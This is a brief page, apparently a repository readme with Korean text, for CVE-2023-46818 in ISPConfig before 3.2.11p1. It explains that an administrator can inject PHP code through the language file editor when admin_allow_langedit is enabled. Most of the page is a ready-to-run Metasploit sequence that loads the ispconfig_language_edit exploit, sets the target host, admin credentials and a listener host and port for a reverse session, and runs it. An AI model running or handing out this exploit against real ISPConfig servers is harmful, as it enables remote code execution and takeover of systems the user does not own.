syfi/cve-2023-46818Metasploit 모듈
Metasploit 모듈
use exploit/linux/http/ispconfig_language_edit
set RHOSTS target.com
set USERNAME admin
set PASSWORD password123
set LHOST 127.0.0.1
set LPORT 4444
exploit
ISPConfig 3.2.11p1 이전 버전에서 문제가 발견되었습니다. admin_allow_langedit이 활성화된 경우 관리자가 언어 파일 편집기에서 PHP 코드 인젝션을 수행할 수 있습니다.